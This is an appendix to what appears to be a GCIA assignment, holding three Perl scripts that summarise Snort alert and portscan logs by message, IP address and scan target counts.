Assignment 3, Appendix A

Source Code for "gcia_alerts"

```
#!/usr/bin/perl
## Produce a list of all unique messages seen with count of raw volume
## and number of unique sources and destinations
##
while($line = <>) {
  chomp $line;

  @parts = split(/\s\[\*\*\]\s/, $line);

  if($#parts == 1) {
          $msg = $parts[1];
          if(($src_ip, $time, $hosts, $tcp, $udp, $stealth) = ($msg =~
m|End\sof\sportscan\sfrom\s([^:]+)\:\s+TOTAL\s+time\((\d+).\)\shosts\((\d+)\)\sTCP\((\d+)\)\sUDP\((\d+)\)\s
*(STEALTH)?|)) {
            $sources{'spp_portscan'}{$src_ip}++;
            $totals{'spp_portscan'}++;
          }
  }
  elsif($#parts == 2) {
          $msg = $parts[1];
          $srcdst = $parts[2];
          if(($src_ip, $junk, $src_pt, $dst_ip, $crap, $dst_pt) = ($srcdst =~ m|^\s*([^:]+)(\:(\d+))?\s\-
\>\s([^:]+)(\:(\d+))?\s*$|)) {
            $totals{$msg}++;
            $sources{$msg}{$src_ip}++;
            $destinations{$msg}{$dst_ip}++;
          }
  }
}

foreach $msg (keys(%sources)) {
  $total = $totals{$msg};
  @uniq_src_ips = keys(%{$sources{$msg}});
  @uniq_dst_ips = keys(%{$destinations{$msg}});
  printf("%i\t%i\t%i\t%s\n",
                  $total,
                  $#uniq_src_ips+1,
                  $#uniq_dst_ips+1,
                  $msg
                  );

}
```

Assignment 3, Appendix B

Source Code for "gcia_ips"

```
#!/usr/bin/perl
## Produce a list of all unique IPs seen in snort alerts
##

while($line = <>) {
  chomp $line;

  @parts = split(/\s\[\*\*\]\s/, $line);

  if($#parts == 1) {
          $msg = $parts[1];
          if(($src_ip, $time, $hosts, $tcp, $udp, $stealth) = ($msg =~
m|End\sof\sportscan\sfrom\s([^:]+)\:\s+TOTAL\s+time\((\d+).\)\shosts\((\d+)\)\sTCP\((\d+)\)\sUDP\((\d+)\)\s
*(STEALTH)?|)) {
            $ips{$src_ip}{'spp_portscan'}{'src'}++;
          }
  }
  elsif($#parts == 2) {
          $msg = $parts[1];
          $srcdst = $parts[2];
          if(($src_ip, $junk, $src_pt, $dst_ip, $crap, $dst_pt) = ($srcdst =~ m|^\s*([^:]+)(\:(\d+))?\s\-
\>\s([^:]+)(\:(\d+))?\s*$|)) {
            $ips{$src_ip}{$msg}{'src'}++;
            $ips{$dst_ip}{$msg}{'dst'}++;
          }
  }
}

foreach $ip (keys(%ips)) {
  @uniq_sigs = keys(%{$ips{$ip}});
  $dsts = 0;
  $srcs = 0;
  $src_sigs = 0;
  $dst_sigs = 0;
  foreach $sig (@uniq_sigs) {
          if($ips{$ip}{$sig}{'src'}) { $src_sigs++;}
          if($ips{$ip}{$sig}{'dst'}) { $dst_sigs++;}
          $srcs = $srcs + $ips{$ip}{$sig}{'src'};
          $dsts = $dsts + $ips{$ip}{$sig}{'dst'};
  }
  printf("%i\t%i\t%i\t%i\t%i\t%i\t%s\n",
                  $srcs+$dsts,
                  $srcs,
                  $dsts,
                  $#uniq_sigs+1,
                  $src_sigs,
                  $dst_sigs,
                  $ip
                  );
}
```

Assignment 3, Appendix C
Source Code for "gcia_scan"

```
#!/usr/bin/perl
## Produce a list of all unique IPs seen in snort scan logs with
## statistics about who they scanned etc.

while($line = <>) {
  chomp $line;

  if(($date, $src_ip, $src_pt, $dst_ip, $dst_pt, $type, $notes) =
         ($line =~ m|^(\w{3} \d{2} \d{2}:\d{2}:\d{2}) ([^:]+):(\d+) \-\> ([^:]+):(\d+) (\w+) (.*)$|))
{

         $total{$src_ip}++;
         $dst_ips{$src_ip}{$dst_ip}++;
#        $dst_pts{$src_ip}{$dst_pt}++;
#        $types{$src_ip}{$type}++;

  } else {
         print "line's format doesn't match - $line\n";
  }
}

foreach $src (keys(%total)) {
  @dsts = keys(%{$dst_ips{$src}}); # list of ips scanned by this scanner
#  @prts = keys(%{$dst_pts{$src}}); # list of ports scanned for this scanner
#  @type = keys(%{$types{$src}});   # list of scan types by the scanner


  print "$total{$src}\t$#dsts\t$src\n";
}
```